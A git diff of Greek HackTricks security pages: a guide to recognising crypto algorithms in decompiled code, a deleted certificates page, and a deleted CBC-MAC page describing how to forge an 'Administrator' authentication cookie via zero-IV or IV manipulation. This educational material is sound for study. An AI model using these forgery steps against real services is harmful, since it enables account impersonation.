Από [τα docs](https://learn.microsoft.com/en-us/windows/win32/api/wincrypt/nf-wincrypt-cryptacquirecontexta): Η λειτουργία **CryptAcquireContext** χρησιμοποιείται για να αποκτήσει ένα handle σε ένα συγκεκριμένο key container εντός ενός συγκεκριμένου κρυπτογραφικού παρόχου υπηρεσιών (CSP). **Αυτό το επιστρεφόμενο handle χρησιμοποιείται σε κλήσεις σε λειτουργίες CryptoAPI** που χρησιμοποιούν το επιλεγμένο CSP.
Από [τα docs](https://learn.microsoft.com/en-us/windows/win32/api/wincrypt/nf-wincrypt-cryptacquirecontexta): Η λειτουργία **CryptAcquireContext** χρησιμοποιείται για να αποκτήσει ένα handle σε ένα συγκεκριμένο key container μέσα σε έναν συγκεκριμένο κρυπτογραφικό πάροχο υπηρεσιών (CSP). **Αυτό το επιστρεφόμενο handle χρησιμοποιείται σε κλήσεις σε λειτουργίες CryptoAPI** που χρησιμοποιούν τον επιλεγμένο CSP.
**CryptCreateHash**
Αρχίζει την καταμέτρηση ενός ρεύματος δεδομένων. Αν αυτή η λειτουργία χρησιμοποιείται, μπορείτε να βρείτε ποιος **αλγόριθμος χρησιμοποιείται** ελέγχοντας την τιμή της δεύτερης παραμέτρου:
Αρχίζει την καταμέτρηση ενός ρεύματος δεδομένων. Αν αυτή η λειτουργία χρησιμοποιείται, μπορείς να βρεις ποιος **αλγόριθμος χρησιμοποιείται** ελέγχοντας την τιμή της δεύτερης παραμέτρου:
![](<../../images/image (549).png>)
\
Ελέγξτε εδώ τον πίνακα των πιθανών αλγορίθμων και των ανατεθειμένων τιμών τους: [https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id](https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id)
Έλεγξε εδώ τον πίνακα των πιθανών αλγορίθμων και των ανατεθειμένων τιμών τους: [https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id](https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id)
### Σταθερές Κώδικα
Μερικές φορές είναι πολύ εύκολο να αναγνωρίσετε έναν αλγόριθμο χάρη στο γεγονός ότι χρειάζεται να χρησιμοποιήσει μια ειδική και μοναδική τιμή.
Μερικές φορές είναι πολύ εύκολο να αναγνωρίσεις έναν αλγόριθμο χάρη στο γεγονός ότι χρειάζεται να χρησιμοποιήσει μια ειδική και μοναδική τιμή.
![](<../../images/image (833).png>)
Αν ψάξετε για την πρώτη σταθερά στο Google αυτό είναι που θα βρείτε:
Αν ψάξεις για την πρώτη σταθερά στο Google αυτό είναι που θα βρεις:
![](<../../images/image (529).png>)
Επομένως, μπορείτε να υποθέσετε ότι η αποσυμπιεσμένη λειτουργία είναι ένας **υπολογιστής sha256.**\
Μπορείτε να αναζητήσετε οποιαδήποτε από τις άλλες σταθερές και θα αποκτήσετε (πιθανώς) το ίδιο αποτέλεσμα.
Επομένως, μπορείς να υποθέσεις ότι η αποσυμπιεσμένη λειτουργία είναι ένας **υπολογιστής sha256.**\
Μπορείς να ψάξεις οποιαδήποτε από τις άλλες σταθερές και θα αποκτήσεις (πιθανώς) το ίδιο αποτέλεσμα.
### πληροφορίες δεδομένων
Αν ο κώδικας δεν έχει καμία σημαντική σταθερά μπορεί να είναι **φορτώνοντας πληροφορίες από την ενότητα .data**.\
Μπορείτε να αποκτήσετε πρόσβαση σε αυτά τα δεδομένα, **ομαδοποιώντας το πρώτο dword** και να το αναζητήσετε στο Google όπως κάναμε στην προηγούμενη ενότητα:
Μπορείς να έχεις πρόσβαση σε αυτά τα δεδομένα, **ομαδοποιώντας το πρώτο dword** και ψάχνοντας το στο Google όπως κάναμε στην προηγούμενη ενότητα:
![](<../../images/image (531).png>)
Σε αυτή την περίπτωση, αν ψάξετε για **0xA56363C6** μπορείτε να βρείτε ότι σχετίζεται με τις **πίνακες του αλγορίθμου AES**.
Σε αυτή την περίπτωση, αν ψάξεις για **0xA56363C6** μπορείς να βρεις ότι σχετίζεται με τους **πίνακες του αλγορίθμου AES**.
## RC4 **(Συμμετρική Κρυπτογράφηση)**
@ -63,18 +61,18 @@
Αποτελείται από 3 κύρια μέρη:
- **Στάδιο αρχικοποίησης/**: Δημιουργεί έναν **πίνακα τιμών από 0x00 έως 0xFF** (256bytes συνολικά, 0x100). Αυτός ο πίνακας ονομάζεται συνήθως **Substitution Box** (ή SBox).
- **Στάδιο ανακατανομής**: Θα **περάσει από τον πίνακα** που δημιουργήθηκε πριν (κύκλος 0x100 επαναλήψεων, ξανά) δημιουργώντας τροποποιώντας κάθε τιμή με **ημι-τυχαία** bytes. Για να δημιουργηθούν αυτά τα ημι-τυχαία bytes, χρησιμοποιείται το κλειδί RC4. Τα **κλειδιά RC4** μπορούν να είναι **μεταξύ 1 και 256 bytes σε μήκος**, ωστόσο συνήθως συνιστάται να είναι πάνω από 5 bytes. Συνήθως, τα κλειδιά RC4 είναι 16 bytes σε μήκος.
- **Στάδιο XOR**: Τέλος, το απλό κείμενο ή το κρυπτογραφημένο κείμενο είναι **XORed με τις τιμές που δημιουργήθηκαν πριν**. Η λειτουργία για την κρυπτογράφηση και την αποκρυπτογράφηση είναι η ίδια. Για αυτό, θα εκτελεστεί ένας **κύκλος μέσω των δημιουργημένων 256 bytes** όσες φορές είναι απαραίτητο. Αυτό συνήθως αναγνωρίζεται σε έναν αποσυμπιεσμένο κώδικα με ένα **%256 (mod 256)**.
- **Στάδιο Αρχικοποίησης/**: Δημιουργεί έναν **πίνακα τιμών από 0x00 έως 0xFF** (256bytes συνολικά, 0x100). Αυτός ο πίνακας ονομάζεται συνήθως **Substitution Box** (ή SBox).
- **Στάδιο Ανακατανομής**: Θα **περάσει μέσα από τον πίνακα** που δημιουργήθηκε πριν (κύκλος 0x100 επαναλήψεων, ξανά) τροποποιώντας κάθε τιμή με **ημι-τυχαία** bytes. Για να δημιουργηθούν αυτά τα ημι-τυχαία bytes, χρησιμοποιείται το **κλειδί RC4**. Τα **κλειδιά RC4** μπορούν να είναι **μεταξύ 1 και 256 bytes σε μήκος**, ωστόσο συνήθως συνιστάται να είναι πάνω από 5 bytes. Συνήθως, τα κλειδιά RC4 είναι 16 bytes σε μήκος.
- **Στάδιο XOR**: Τέλος, το απλό κείμενο ή το κρυπτογραφημένο κείμενο **XORed με τις τιμές που δημιουργήθηκαν πριν**. Η λειτουργία για την κρυπτογράφηση και την αποκρυπτογράφηση είναι η ίδια. Για αυτό, θα εκτελείται ένας **κύκλος μέσα από τα δημιουργημένα 256 bytes** όσες φορές είναι απαραίτητο. Αυτό συνήθως αναγνωρίζεται σε έναν αποσυμπιεσμένο κώδικα με ένα **%256 (mod 256)**.
> [!NOTE]
> **Για να αναγνωρίσετε ένα RC4 σε έναν αποσυναρμολογημένο/αποσυμπιεσμένο κώδικα μπορείτε να ελέγξετε για 2 κύκλους μεγέθους 0x100 (με τη χρήση ενός κλειδιού) και στη συνέχεια ένα XOR των δεδομένων εισόδου με τις 256 τιμές που δημιουργήθηκαν πριν στους 2 κύκλους πιθανώς χρησιμοποιώντας ένα %256 (mod 256)**
> [!TIP]
> **Για να αναγνωρίσεις έναν RC4 σε έναν αποσυμπιεσμένο/αποσυμπιεσμένο κώδικα μπορείς να ελέγξεις για 2 κύκλους μεγέθους 0x100 (με τη χρήση ενός κλειδιού) και στη συνέχεια ένα XOR των δεδομένων εισόδου με τις 256 τιμές που δημιουργήθηκαν πριν στους 2 κύκλους πιθανώς χρησιμοποιώντας ένα %256 (mod 256)**
### **Στάδιο αρχικοποίησης/Πίνακας υποκατάστασης:** (Σημειώστε τον αριθμό 256 που χρησιμοποιείται ως μετρητής και πώς γράφεται ένα 0 σε κάθε θέση των 256 χαρακτήρων)
### **Στάδιο Αρχικοποίησης/Πίνακας Υποκατάστασης:** (Σημείωσε τον αριθμό 256 που χρησιμοποιείται ως μετρητής και πώς γράφεται ένα 0 σε κάθε θέση των 256 χαρακτήρων)
![](<../../images/image (584).png>)
### **Στάδιο ανακατανομής:**
### **Στάδιο Ανακατανομής:**
![](<../../images/image (835).png>)
@ -87,7 +85,7 @@
### **Χαρακτηριστικά**
- Χρήση **πινακων υποκατάστασης και πινάκων αναζήτησης**
- Είναι δυνατόν να **διακρίνετε το AES χάρη στη χρήση συγκεκριμένων τιμών πινάκων αναζήτησης** (σταθερές). _Σημειώστε ότι η **σταθερά** μπορεί να είναι **αποθηκευμένη** στο δυαδικό **ή να δημιουργηθεί** _**δυναμικά**._
- Είναι δυνατόν να **διακρίνεις το AES χάρη στη χρήση συγκεκριμένων τιμών πίνακα αναζήτησης** (σταθερές). _Σημείωσε ότι η **σταθερά** μπορεί να είναι **αποθηκευμένη** στο δυαδικό **ή δημιουργημένη** _**δυναμικά**._
- Το **κλειδί κρυπτογράφησης** πρέπει να είναι **διαιρέσιμο** με **16** (συνήθως 32B) και συνήθως χρησιμοποιείται ένα **IV** 16B.
### Σταθερές SBox
@ -98,21 +96,21 @@
### Χαρακτηριστικά
- Είναι σπάνιο να βρείτε κάποιο malware που να το χρησιμοποιεί αλλά υπάρχουν παραδείγματα (Ursnif)
- Απλό να προσδιορίσετε αν ένας αλγόριθμος είναι Serpent ή όχι με βάση το μήκος του (εξαιρετικά μακρά λειτουργία)
- Είναι σπάνιο να βρεις κάποιο malware που να το χρησιμοποιεί αλλά υπάρχουν παραδείγματα (Ursnif)
- Απλό να προσδιορίσεις αν ένας αλγόριθμος είναι Serpent ή όχι με βάση το μήκος του (εξαιρετικά μεγάλη λειτουργία)
### Αναγνώριση
Στην παρακάτω εικόνα παρατηρήστε πώς χρησιμοποιείται η σταθερά **0x9E3779B9** (σημειώστε ότι αυτή η σταθερά χρησιμοποιείται επίσης από άλλους κρυπτογραφικούς αλγόριθμους όπως **TEA** -Tiny Encryption Algorithm).\
Επίσης σημειώστε το **μέγεθος του κύκλου** (**132**) και τον **αριθμό των λειτουργιών XOR** στις **εντολές αποσυναρμολόγησης** και στο **παράδειγμα κώδικα**:
Στην παρακάτω εικόνα παρατήρησε πώς χρησιμοποιείται η σταθερά **0x9E3779B9** (σημείωσε ότι αυτή η σταθερά χρησιμοποιείται επίσης από άλλους κρυπτογραφικούς αλγόριθμους όπως ο **TEA** -Tiny Encryption Algorithm).\
Επίσης σημείωσε το **μέγεθος του κύκλου** (**132**) και τον **αριθμό των λειτουργιών XOR** στις **εντολές αποσυμπίεσης** και στο **παράδειγμα κώδικα**:
![](<../../images/image (547).png>)
Όπως αναφέρθηκε προηγουμένως, αυτός ο κώδικας μπορεί να οπτικοποιηθεί μέσα σε οποιονδήποτε αποσυμπιεστή ως μια **πολύ μακρά λειτουργία** καθώς **δεν υπάρχουν άλματα** μέσα σε αυτόν. Ο αποσυμπιεσμένος κώδικας μπορεί να φαίνεται όπως το εξής:
Όπως αναφέρθηκε προηγουμένως, αυτός ο κώδικας μπορεί να οπτικοποιηθεί μέσα σε οποιονδήποτε αποσυμπιεστή ως μια **πολύ μεγάλη λειτουργία** καθώς **δεν υπάρχουν άλματα** μέσα σε αυτόν. Ο αποσυμπιεσμένος κώδικας μπορεί να φαίνεται όπως το εξής:
![](<../../images/image (513).png>)
Επομένως, είναι δυνατόν να αναγνωρίσετε αυτόν τον αλγόριθμο ελέγχοντας τον **μαγικό αριθμό** και τους **αρχικούς XORs**, βλέποντας μια **πολύ μακρά λειτουργία** και **συγκρίνοντας** κάποιες **εντολές** της μακράς λειτουργίας **με μια υλοποίηση** (όπως το shift αριστερά κατά 7 και την περιστροφή αριστερά κατά 22).
Επομένως, είναι δυνατόν να αναγνωρίσεις αυτόν τον αλγόριθμο ελέγχοντας τον **μαγικό αριθμό** και τους **αρχικούς XORs**, βλέποντας μια **πολύ μεγάλη λειτουργία** και **συγκρίνοντας** κάποιες **εντολές** της μεγάλης λειτουργίας **με μια υλοποίηση** (όπως το shift αριστερά κατά 7 και την περιστροφή αριστερά κατά 22).
## RSA **(Ασύμμετρη Κρυπτογράφηση)**
@ -120,7 +118,7 @@
- Πιο περίπλοκος από τους συμμετρικούς αλγόριθμους
- Δεν υπάρχουν σταθερές! (οι προσαρμοσμένες υλοποιήσεις είναι δύσκολο να προσδιοριστούν)
- KANAL (ένας αναλυτής κρυπτογράφησης) αποτυγχάνει να δείξει ενδείξεις για το RSA καθώς βασίζεται σε σταθερές.
- Ο KANAL (ένας αναλυτής κρυπτογράφησης) αποτυγχάνει να δείξει ενδείξεις για το RSA καθώς βασίζεται σε σταθερές.
### Αναγνώριση μέσω συγκρίσεων
@ -140,24 +138,24 @@
**Init**
Μπορείτε να αναγνωρίσετε και τους δύο ελέγχοντας τις σταθερές. Σημειώστε ότι η sha_init έχει 1 σταθερά που δεν έχει το MD5:
Μπορείς να αναγνωρίσεις και τους δύο ελέγχοντας τις σταθερές. Σημείωσε ότι η sha_init έχει 1 σταθερά που δεν έχει το MD5:
![](<../../images/image (406).png>)
**MD5 Transform**
Σημειώστε τη χρήση περισσότερων σταθερών
Σημείωσε τη χρήση περισσότερων σταθερών
![](<../../images/image (253) (1) (1).png>)
## CRC (hash)
- Μικρότερος και πιο αποδοτικός καθώς η λειτουργία του είναι να βρίσκει τυχαίες αλλαγές στα δεδομένα
- Χρησιμοποιεί πίνακες αναζήτησης (έτσι μπορείτε να αναγνωρίσετε σταθερές)
- Χρησιμοποιεί πίνακες αναζήτησης (έτσι μπορείς να αναγνωρίσεις σταθερές)
### Αναγνώριση
Ελέγξτε **σταθερές πίνακα αναζήτησης**:
Έλεγξε **σταθερές πίνακα αναζήτησης**:
![](<../../images/image (508).png>)
@ -170,7 +168,7 @@
### Χαρακτηριστικά
- Μη αναγνωρίσιμες σταθερές
- Μπορείτε να προσπαθήσετε να γράψετε τον αλγόριθμο σε python και να αναζητήσετε παρόμοια πράγματα online
- Μπορείς να προσπαθήσεις να γράψεις τον αλγόριθμο σε python και να ψάξεις για παρόμοια πράγματα online
### Αναγνώριση
@ -178,7 +176,7 @@
![](<../../images/image (207) (2) (1).png>)
Ελέγξτε **3 συγκρίσεις για να το αναγνωρίσετε**:
Έλεγξε **3 συγκρίσεις για να τον αναγνωρίσεις**:
![](<../../images/image (430).png>)

View File

@ -1,157 +0,0 @@
# Πιστοποιητικά
{{#include ../banners/hacktricks-training.md}}
## Τι είναι ένα Πιστοποιητικό
Ένα **δημόσιο κλειδί πιστοποιητικό** είναι μια ψηφιακή ταυτότητα που χρησιμοποιείται στην κρυπτογραφία για να αποδείξει ότι κάποιος κατέχει ένα δημόσιο κλειδί. Περιλαμβάνει τις λεπτομέρειες του κλειδιού, την ταυτότητα του κατόχου (το υποκείμενο) και μια ψηφιακή υπογραφή από μια αξιόπιστη αρχή (τον εκδότη). Εάν το λογισμικό εμπιστεύεται τον εκδότη και η υπογραφή είναι έγκυρη, είναι δυνατή η ασφαλής επικοινωνία με τον κάτοχο του κλειδιού.
Τα πιστοποιητικά εκδίδονται κυρίως από [αρχές πιστοποίησης](https://en.wikipedia.org/wiki/Certificate_authority) (CAs) σε μια [υποδομή δημόσιου κλειδιού](https://en.wikipedia.org/wiki/Public-key_infrastructure) (PKI). Μια άλλη μέθοδος είναι το [δίκτυο εμπιστοσύνης](https://en.wikipedia.org/wiki/Web_of_trust), όπου οι χρήστες επαληθεύουν άμεσα τα κλειδιά ο ένας του άλλου. Η κοινή μορφή για τα πιστοποιητικά είναι [X.509](https://en.wikipedia.org/wiki/X.509), η οποία μπορεί να προσαρμοστεί για συγκεκριμένες ανάγκες όπως περιγράφεται στο RFC 5280.
## x509 Κοινά Πεδία
### **Κοινά Πεδία σε Πιστοποιητικά x509**
Στα πιστοποιητικά x509, αρκετά **πεδία** παίζουν κρίσιμους ρόλους στην εξασφάλιση της εγκυρότητας και της ασφάλειας του πιστοποιητικού. Ακολουθεί μια ανάλυση αυτών των πεδίων:
- **Αριθμός Έκδοσης** σηματοδοτεί την έκδοση της μορφής x509.
- **Αριθμός Σειράς** προσδιορίζει μοναδικά το πιστοποιητικό μέσα στο σύστημα μιας Αρχής Πιστοποίησης (CA), κυρίως για παρακολούθηση ανάκλησης.
- Το **Υποκείμενο** πεδίο αντιπροσωπεύει τον κάτοχο του πιστοποιητικού, ο οποίος μπορεί να είναι μια μηχανή, ένα άτομο ή ένας οργανισμός. Περιλαμβάνει λεπτομερή ταυτοποίηση όπως:
- **Κοινό Όνομα (CN)**: Τομείς που καλύπτονται από το πιστοποιητικό.
- **Χώρα (C)**, **Τοποθεσία (L)**, **Πολιτεία ή Επαρχία (ST, S, ή P)**, **Οργάνωση (O)**, και **Οργανωτική Μονάδα (OU)** παρέχουν γεωγραφικές και οργανωτικές λεπτομέρειες.
- **Διακεκριμένο Όνομα (DN)** περιλαμβάνει την πλήρη ταυτοποίηση του υποκειμένου.
- **Εκδότης** αναφέρει ποιος επαλήθευσε και υπέγραψε το πιστοποιητικό, περιλαμβάνοντας παρόμοια υποπεδία όπως το Υποκείμενο για την CA.
- **Περίοδος Ικανότητας** σημειώνεται από τα χρονικά σήματα **Όχι Πριν** και **Όχι Μετά**, εξασφαλίζοντας ότι το πιστοποιητικό δεν χρησιμοποιείται πριν ή μετά από μια συγκεκριμένη ημερομηνία.
- Η ενότητα **Δημόσιο Κλειδί**, κρίσιμη για την ασφάλεια του πιστοποιητικού, προσδιορίζει τον αλγόριθμο, το μέγεθος και άλλες τεχνικές λεπτομέρειες του δημόσιου κλειδιού.
- Οι **επέκταση x509v3** ενισχύουν τη λειτουργικότητα του πιστοποιητικού, προσδιορίζοντας **Χρήση Κλειδιού**, **Εκτεταμένη Χρήση Κλειδιού**, **Εναλλακτικό Όνομα Υποκειμένου**, και άλλες ιδιότητες για την ακριβή ρύθμιση της εφαρμογής του πιστοποιητικού.
#### **Χρήση Κλειδιού και Επεκτάσεις**
- **Χρήση Κλειδιού** προσδιορίζει τις κρυπτογραφικές εφαρμογές του δημόσιου κλειδιού, όπως ψηφιακή υπογραφή ή κρυπτογράφηση κλειδιού.
- **Εκτεταμένη Χρήση Κλειδιού** περιορίζει περαιτέρω τις περιπτώσεις χρήσης του πιστοποιητικού, π.χ., για πιστοποίηση διακομιστή TLS.
- **Εναλλακτικό Όνομα Υποκειμένου** και **Βασικός Περιορισμός** καθορίζουν πρόσθετα ονόματα κεντρικών υπολογιστών που καλύπτονται από το πιστοποιητικό και αν είναι πιστοποιητικό CA ή τελικού φορέα, αντίστοιχα.
- Αναγνωριστικά όπως **Αναγνωριστικό Κλειδιού Υποκειμένου** και **Αναγνωριστικό Κλειδιού Αρχής** εξασφαλίζουν μοναδικότητα και ιχνηλασιμότητα των κλειδιών.
- **Πρόσβαση Πληροφοριών Αρχής** και **Σημεία Διανομής CRL** παρέχουν διαδρομές για την επαλήθευση της εκδούσας CA και τον έλεγχο της κατάστασης ανάκλησης του πιστοποιητικού.
- **CT Προπιστοποιητικά SCTs** προσφέρουν διαφάνεια, κρίσιμη για τη δημόσια εμπιστοσύνη στο πιστοποιητικό.
```python
# Example of accessing and using x509 certificate fields programmatically:
from cryptography import x509
from cryptography.hazmat.backends import default_backend
# Load an x509 certificate (assuming cert.pem is a certificate file)
with open("cert.pem", "rb") as file:
cert_data = file.read()
certificate = x509.load_pem_x509_certificate(cert_data, default_backend())
# Accessing fields
serial_number = certificate.serial_number
issuer = certificate.issuer
subject = certificate.subject
public_key = certificate.public_key()
print(f"Serial Number: {serial_number}")
print(f"Issuer: {issuer}")
print(f"Subject: {subject}")
print(f"Public Key: {public_key}")
```
### **Διαφορά μεταξύ OCSP και CRL Distribution Points**
**OCSP** (**RFC 2560**) περιλαμβάνει έναν πελάτη και έναν απαντητή που συνεργάζονται για να ελέγξουν αν ένα ψηφιακό πιστοποιητικό δημόσιου κλειδιού έχει ανακληθεί, χωρίς να χρειάζεται να κατεβάσουν ολόκληρη την **CRL**. Αυτή η μέθοδος είναι πιο αποδοτική από την παραδοσιακή **CRL**, η οποία παρέχει μια λίστα με τους αριθμούς σειράς των ανακληθέντων πιστοποιητικών αλλά απαιτεί τη λήψη ενός ενδεχομένως μεγάλου αρχείου. Οι CRLs μπορούν να περιλαμβάνουν έως και 512 καταχωρίσεις. Περισσότερες λεπτομέρειες είναι διαθέσιμες [εδώ](https://www.arubanetworks.com/techdocs/ArubaOS%206_3_1_Web_Help/Content/ArubaFrameStyles/CertRevocation/About_OCSP_and_CRL.htm).
### **Τι είναι η Διαφάνεια Πιστοποιητικών**
Η Διαφάνεια Πιστοποιητικών βοηθά στην καταπολέμηση των απειλών που σχετίζονται με πιστοποιητικά, διασφαλίζοντας ότι η έκδοση και η ύπαρξη SSL πιστοποιητικών είναι ορατές στους ιδιοκτήτες τομέων, τις CA και τους χρήστες. Οι στόχοι της είναι:
- Να αποτρέψει τις CA από το να εκδίδουν SSL πιστοποιητικά για έναν τομέα χωρίς τη γνώση του ιδιοκτήτη του τομέα.
- Να καθιερώσει ένα ανοιχτό σύστημα ελέγχου για την παρακολούθηση πιστοποιητικών που εκδόθηκαν κατά λάθος ή κακόβουλα.
- Να προστατεύσει τους χρήστες από δόλια πιστοποιητικά.
#### **Καταγραφές Πιστοποιητικών**
Οι καταγραφές πιστοποιητικών είναι δημόσια ελεγχόμενα, μόνο προσθετικά αρχεία πιστοποιητικών, που διατηρούνται από υπηρεσίες δικτύου. Αυτές οι καταγραφές παρέχουν κρυπτογραφικές αποδείξεις για σκοπούς ελέγχου. Τόσο οι αρχές έκδοσης όσο και το κοινό μπορούν να υποβάλουν πιστοποιητικά σε αυτές τις καταγραφές ή να τα ελέγξουν για επαλήθευση. Ενώ ο ακριβής αριθμός των διακομιστών καταγραφής δεν είναι σταθερός, αναμένεται να είναι λιγότερος από χίλια παγκοσμίως. Αυτοί οι διακομιστές μπορούν να διαχειρίζονται ανεξάρτητα από τις CA, ISPs ή οποιαδήποτε ενδιαφερόμενη οντότητα.
#### **Ερώτημα**
Για να εξερευνήσετε τις καταγραφές Διαφάνειας Πιστοποιητικών για οποιονδήποτε τομέα, επισκεφθείτε [https://crt.sh/](https://crt.sh).
Διαφορετικές μορφές υπάρχουν για την αποθήκευση πιστοποιητικών, καθεμία με τις δικές της περιπτώσεις χρήσης και συμβατότητα. Αυτή η σύνοψη καλύπτει τις κύριες μορφές και παρέχει καθοδήγηση για τη μετατροπή μεταξύ τους.
## **Μορφές**
### **Μορφή PEM**
- Η πιο ευρέως χρησιμοποιούμενη μορφή για πιστοποιητικά.
- Απαιτεί ξεχωριστά αρχεία για πιστοποιητικά και ιδιωτικά κλειδιά, κωδικοποιημένα σε Base64 ASCII.
- Κοινές επεκτάσεις: .cer, .crt, .pem, .key.
- Χρησιμοποιείται κυρίως από Apache και παρόμοιους διακομιστές.
### **Μορφή DER**
- Μια δυαδική μορφή πιστοποιητικών.
- Λείπουν οι δηλώσεις "BEGIN/END CERTIFICATE" που βρίσκονται σε αρχεία PEM.
- Κοινές επεκτάσεις: .cer, .der.
- Συχνά χρησιμοποιείται με πλατφόρμες Java.
### **Μορφή P7B/PKCS#7**
- Αποθηκεύεται σε Base64 ASCII, με επεκτάσεις .p7b ή .p7c.
- Περιέχει μόνο πιστοποιητικά και αλυσίδες πιστοποιητικών, εξαιρώντας το ιδιωτικό κλειδί.
- Υποστηρίζεται από Microsoft Windows και Java Tomcat.
### **Μορφή PFX/P12/PKCS#12**
- Μια δυαδική μορφή που περιλαμβάνει πιστοποιητικά διακομιστή, ενδιάμεσα πιστοποιητικά και ιδιωτικά κλειδιά σε ένα αρχείο.
- Επεκτάσεις: .pfx, .p12.
- Χρησιμοποιείται κυρίως σε Windows για εισαγωγή και εξαγωγή πιστοποιητικών.
### **Μετατροπή Μορφών**
**Οι μετατροπές PEM** είναι απαραίτητες για τη συμβατότητα:
- **x509 σε PEM**
```bash
openssl x509 -in certificatename.cer -outform PEM -out certificatename.pem
```
- **PEM σε DER**
```bash
openssl x509 -outform der -in certificatename.pem -out certificatename.der
```
- **DER σε PEM**
```bash
openssl x509 -inform der -in certificatename.der -out certificatename.pem
```
- **PEM σε P7B**
```bash
openssl crl2pkcs7 -nocrl -certfile certificatename.pem -out certificatename.p7b -certfile CACert.cer
```
- **PKCS7 σε PEM**
```bash
openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.pem
```
**Οι μετατροπές PFX** είναι κρίσιμες για τη διαχείριση πιστοποιητικών στα Windows:
- **PFX σε PEM**
```bash
openssl pkcs12 -in certificatename.pfx -out certificatename.pem
```
- **PFX σε PKCS#8** περιλαμβάνει δύο βήματα:
1. Μετατροπή PFX σε PEM
```bash
openssl pkcs12 -in certificatename.pfx -nocerts -nodes -out certificatename.pem
```
2. Μετατροπή PEM σε PKCS8
```bash
openSSL pkcs8 -in certificatename.pem -topk8 -nocrypt -out certificatename.pk8
```
- **P7B σε PFX** απαιτεί επίσης δύο εντολές:
1. Μετατροπή P7B σε CER
```bash
openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.cer
```
2. Μετατροπή CER και Ιδιωτικού Κλειδιού σε PFX
```bash
openssl pkcs12 -export -in certificatename.cer -inkey privateKey.key -out certificatename.pfx -certfile cacert.cer
```
---
{{#include ../banners/hacktricks-training.md}}

View File

@ -1,55 +0,0 @@
{{#include ../banners/hacktricks-training.md}}
# CBC
Αν το **cookie** είναι **μόνο** το **όνομα χρήστη** (ή το πρώτο μέρος του cookie είναι το όνομα χρήστη) και θέλεις να προσποιηθείς το όνομα χρήστη "**admin**". Τότε, μπορείς να δημιουργήσεις το όνομα χρήστη **"bdmin"** και να **bruteforce** το **πρώτο byte** του cookie.
# CBC-MAC
**Cipher block chaining message authentication code** (**CBC-MAC**) είναι μια μέθοδος που χρησιμοποιείται στην κρυπτογραφία. Λειτουργεί παίρνοντας ένα μήνυμα και κρυπτογραφώντας το μπλοκ προς μπλοκ, όπου η κρυπτογράφηση κάθε μπλοκ συνδέεται με το προηγούμενο. Αυτή η διαδικασία δημιουργεί μια **αλυσίδα μπλοκ**, διασφαλίζοντας ότι η αλλαγή ακόμη και ενός μόνο bit του αρχικού μηνύματος θα οδηγήσει σε μια απρόβλεπτη αλλαγή στο τελευταίο μπλοκ των κρυπτογραφημένων δεδομένων. Για να γίνει ή να αντιστραφεί μια τέτοια αλλαγή, απαιτείται το κλειδί κρυπτογράφησης, διασφαλίζοντας την ασφάλεια.
Για να υπολογίσεις το CBC-MAC του μηνύματος m, κρυπτογραφείς το m σε λειτουργία CBC με μηδενικό αρχικοποιητικό διανύσμα και κρατάς το τελευταίο μπλοκ. Η παρακάτω εικόνα σκιαγραφεί τον υπολογισμό του CBC-MAC ενός μηνύματος που αποτελείται από μπλοκ![https://wikimedia.org/api/rest_v1/media/math/render/svg/bbafe7330a5e40a04f01cc776c9d94fe914b17f5](https://wikimedia.org/api/rest_v1/media/math/render/svg/bbafe7330a5e40a04f01cc776c9d94fe914b17f5) χρησιμοποιώντας ένα μυστικό κλειδί k και έναν μπλοκ κρυπτογράφο E:
![https://upload.wikimedia.org/wikipedia/commons/thumb/b/bf/CBC-MAC_structure_(en).svg/570px-CBC-MAC_structure_(en).svg.png](<https://upload.wikimedia.org/wikipedia/commons/thumb/b/bf/CBC-MAC_structure_(en).svg/570px-CBC-MAC_structure_(en).svg.png>)
# Vulnerability
Με το CBC-MAC συνήθως το **IV που χρησιμοποιείται είναι 0**.\
Αυτό είναι ένα πρόβλημα γιατί 2 γνωστά μηνύματα (`m1` και `m2`) ανεξάρτητα θα δημιουργήσουν 2 υπογραφές (`s1` και `s2`). Έτσι:
- `E(m1 XOR 0) = s1`
- `E(m2 XOR 0) = s2`
Τότε ένα μήνυμα που αποτελείται από τα m1 και m2 που συνδυάζονται (m3) θα δημιουργήσει 2 υπογραφές (s31 και s32):
- `E(m1 XOR 0) = s31 = s1`
- `E(m2 XOR s1) = s32`
**Το οποίο είναι δυνατό να υπολογιστεί χωρίς να γνωρίζεις το κλειδί της κρυπτογράφησης.**
Φαντάσου ότι κρυπτογραφείς το όνομα **Administrator** σε **8bytes** μπλοκ:
- `Administ`
- `rator\00\00\00`
Μπορείς να δημιουργήσεις ένα όνομα χρήστη που ονομάζεται **Administ** (m1) και να ανακτήσεις την υπογραφή (s1).\
Τότε, μπορείς να δημιουργήσεις ένα όνομα χρήστη που είναι το αποτέλεσμα του `rator\00\00\00 XOR s1`. Αυτό θα δημιουργήσει `E(m2 XOR s1 XOR 0)` που είναι s32.\
Τώρα, μπορείς να χρησιμοποιήσεις το s32 ως την υπογραφή του πλήρους ονόματος **Administrator**.
### Summary
1. Πάρε την υπογραφή του ονόματος χρήστη **Administ** (m1) που είναι s1
2. Πάρε την υπογραφή του ονόματος χρήστη **rator\x00\x00\x00 XOR s1 XOR 0** που είναι s32**.**
3. Ρύθμισε το cookie σε s32 και θα είναι ένα έγκυρο cookie για τον χρήστη **Administrator**.
# Attack Controlling IV
Αν μπορείς να ελέγξεις το χρησιμοποιούμενο IV, η επίθεση μπορεί να είναι πολύ εύκολη.\
Αν το cookie είναι απλώς το κρυπτογραφημένο όνομα χρήστη, για να προσποιηθείς τον χρήστη "**administrator**" μπορείς να δημιουργήσεις τον χρήστη "**Administrator**" και θα πάρεις το cookie του.\
Τώρα, αν μπορείς να ελέγξεις το IV, μπορείς να αλλάξεις το πρώτο Byte του IV έτσι ώστε **IV\[0] XOR "A" == IV'\[0] XOR "a"** και να αναγεννήσεις το cookie για τον χρήστη **Administrator.** Αυτό το cookie θα είναι έγκυρο για **να προσποιηθείς** τον χρήστη **administrator** με το αρχικό **IV**.
## References
Περισσότερες πληροφορίες στο [https://en.wikipedia.org/wiki/CBC-MAC](https://en.wikipedia.org/wiki/CBC-MAC)
{{#include ../banners/hacktricks-training.md}}

View File

@ -1,271 +0,0 @@
# Crypto CTFs Tricks
{{#include ../banners/hacktricks-training.md}}
## Online Hashes DBs
- _**Google it**_
